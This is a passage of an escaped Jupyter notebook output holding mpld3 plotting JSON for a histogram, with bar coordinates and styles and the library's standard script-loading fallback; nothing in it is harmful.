\"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114423709840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114423711504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114423721424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114423723088\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114423724752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114423742864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114423744528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114423750352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114423752016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114423753680\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114423771792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114423773456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114423783376\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114423785040\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114423786320\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114423800720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114423802384\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114423812304\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114423813968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114423827984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114423829648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114423831312\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114423845328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114423440464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114423438416\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114423432720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114423847760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114423869968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114423871632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data55\", \"id\": \"el126114423889744\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data56\", \"id\": \"el126114423891408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114423892688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 3, \"data\": \"data56\", \"id\": \"el126114423898512\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data57\", \"id\": \"el126114423900176\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 8, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 8, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114423369872\", \"ydomain\": [0.0, 700.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 640.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[60.0, 0.0], [60.8, 0.0], [60.8, 178.0], [60.0, 178.0]], \"data43\": [[61.0, 0.0], [61.8, 0.0], [61.8, 133.0], [61.0, 133.0]], \"data40\": [[58.0, 0.0], [58.8, 0.0], [58.8, 187.0], [58.0, 187.0]], \"data41\": [[59.0, 0.0], [59.8, 0.0], [59.8, 118.0], [59.0, 118.0]], \"data46\": [[64.0, 0.0], [64.8, 0.0], [64.8, 54.0], [64.0, 54.0]], \"data47\": [[65.0, 0.0], [65.8, 0.0], [65.8, 57.0], [65.0, 57.0]], \"data44\": [[62.0, 0.0], [62.8, 0.0], [62.8, 109.0], [62.0, 109.0]], \"data45\": [[63.0, 0.0], [63.8, 0.0], [63.8, 71.0], [63.0, 71.0]], \"data48\": [[66.0, 0.0], [66.8, 0.0], [66.8, 37.0], [66.0, 37.0]], \"data49\": [[67.0, 0.0], [67.8, 0.0], [67.8, 12.0], [67.0, 12.0]], \"data50\": [[68.0, 0.0], [68.8, 0.0], [68.8, 16.0], [68.0, 16.0]], \"data53\": [[71.0, 0.0], [71.8, 0.0], [71.8, 2.0], [71.0, 2.0]], \"data28\": [[46.0, 0.0], [46.8, 0.0], [46.8, 601.0], [46.0, 601.0]], \"data06\": [[23.0, 0.0], [23.8, 0.0], [23.8, 169.0], [23.0, 169.0]], \"data52\": [[70.0, 0.0], [70.8, 0.0], [70.8, 11.0], [70.0, 11.0]], \"data08\": [[25.0, 0.0], [25.8, 0.0], [25.8, 279.0], [25.0, 279.0]], \"data09\": [[26.0, 0.0], [26.8, 0.0], [26.8, 326.0], [26.0, 326.0]], \"data20\": [[38.0, 0.0], [38.8, 0.0], [38.8, 544.0], [38.0, 544.0]], \"data21\": [[39.0, 0.0], [39.8, 0.0], [39.8, 478.0], [39.0, 478.0]], \"data22\": [[40.0, 0.0], [40.8, 0.0], [40.8, 543.0], [40.0, 543.0]], \"data05\": [[22.0, 0.0], [22.8, 0.0], [22.8, 101.0], [22.0, 101.0]], \"data02\": [[19.0, 0.0], [19.8, 0.0], [19.8, 26.0], [19.0, 26.0]], \"data04\": [[21.0, 0.0], [21.8, 0.0], [21.8, 78.0], [21.0, 78.0]], \"data26\": [[44.0, 0.0], [44.8, 0.0], [44.8, 452.0], [44.0, 452.0]], \"data01\": [[18.0, 0.0], [18.8, 0.0], [18.8, 13.0], [18.0, 13.0]], \"data55\": [[73.0, 0.0, 75.0], [73.8, 0.0, 75.8], [73.8, 3.0, 75.8], [73.0, 3.0, 75.0]], \"data23\": [[41.0, 0.0], [41.8, 0.0], [41.8, 584.0], [41.0, 584.0]], \"data57\": [[77.0, 0.0, 79.0], [77.8, 0.0, 79.8], [77.8, 0.0, 79.8], [77.0, 0.0, 79.0]], \"data51\": [[69.0, 0.0], [69.8, 0.0], [69.8, 8.0], [69.0, 8.0]], \"data24\": [[42.0, 0.0], [42.8, 0.0], [42.8, 566.0], [42.0, 566.0]], \"data56\": [[74.0, 0.0, 76.0, 78.0], [74.8, 0.0, 76.8, 78.8], [74.8, 1.0, 76.8, 78.8], [74.0, 1.0, 76.0, 78.0]], \"data03\": [[20.0, 0.0], [20.8, 0.0], [20.8, 50.0], [20.0, 50.0]], \"data27\": [[45.0, 0.0], [45.8, 0.0], [45.8, 685.0], [45.0, 685.0]], \"data07\": [[24.0, 0.0], [24.8, 0.0], [24.8, 248.0], [24.0, 248.0]], \"data54\": [[72.0, 0.0], [72.8, 0.0], [72.8, 4.0], [72.0, 4.0]], \"data37\": [[55.0, 0.0], [55.8, 0.0], [55.8, 340.0], [55.0, 340.0]], \"data36\": [[54.0, 0.0], [54.8, 0.0], [54.8, 276.0], [54.0, 276.0]], \"data35\": [[53.0, 0.0], [53.8, 0.0], [53.8, 310.0], [53.0, 310.0]], \"data34\": [[52.0, 0.0], [52.8, 0.0], [52.8, 409.0], [52.0, 409.0]], \"data25\": [[43.0, 0.0], [43.8, 0.0], [43.8, 505.0], [43.0, 505.0]], \"data32\": [[50.0, 0.0], [50.8, 0.0], [50.8, 549.0], [50.0, 549.0]], \"data31\": [[49.0, 0.0], [49.8, 0.0], [49.8, 493.0], [49.0, 493.0]], \"data30\": [[48.0, 0.0], [48.8, 0.0], [48.8, 507.0], [48.0, 507.0]], \"data39\": [[57.0, 0.0], [57.8, 0.0], [57.8, 213.0], [57.0, 213.0]], \"data38\": [[56.0, 0.0], [56.8, 0.0], [56.8, 318.0], [56.0, 318.0]], \"data19\": [[37.0, 0.0], [37.8, 0.0], [37.8, 469.0], [37.0, 469.0]], \"data18\": [[36.0, 0.0], [36.8, 0.0], [36.8, 491.0], [36.0, 491.0]], \"data15\": [[33.0, 0.0], [33.8, 0.0], [33.8, 387.0], [33.0, 387.0]], \"data14\": [[31.0, 0.0], [31.8, 0.0], [31.8, 371.0], [31.0, 371.0]], \"data17\": [[35.0, 0.0], [35.8, 0.0], [35.8, 496.0], [35.0, 496.0]], \"data16\": [[34.0, 0.0], [34.8, 0.0], [34.8, 360.0], [34.0, 360.0]], \"data11\": [[28.0, 0.0], [28.8, 0.0], [28.8, 380.0], [28.0, 380.0]], \"data10\": [[27.0, 0.0, 32.0], [27.8, 0.0, 32.8], [27.8, 372.0, 32.8], [27.0, 372.0, 32.0]], \"data13\": [[30.0, 0.0], [30.8, 0.0], [30.8, 396.0], [30.0, 396.0]], \"data12\": [[29.0, 0.0], [29.8, 0.0], [29.8, 377.0], [29.0, 377.0]], \"data29\": [[47.0, 0.0], [47.8, 0.0], [47.8, 540.0], [47.0, 540.0]], \"data33\": [[51.0, 0.0], [51.8, 0.0], [51.8, 483.0], [51.0, 483.0]]}, \"id\": \"el126114363090064\"});\n", " });\n", " });\n", "}else{\n", " // require.js not available: dynamically load d3 & mpld3\n", " mpld3_load_lib(\"https://mpld3.github.io/js/d3.v3.min.js\", function(){\n", " mpld3_load_lib(\"https://mpld3.github.io/js/mpld3.v0.2.js\", function(){\n", " \n", " mpld3.draw_figure(\"fig_el1261143630900641735846769\", {\"axes\": [{\"xlim\": [10.0, 80.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 80.0], \"ylim\": [0.0, 700.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423510992\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423533136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423534800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114423536464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114423550480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423552144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423562064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423563728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114423565008\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423579408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114423581072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114423599184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114423600848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114423602128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data10\", \"id\": \"el126114423616528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114423618192\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114423628112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114423629776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114423643792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114423645456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114423647120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114423661136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114423662800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114423676816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114423678480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114423679760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], 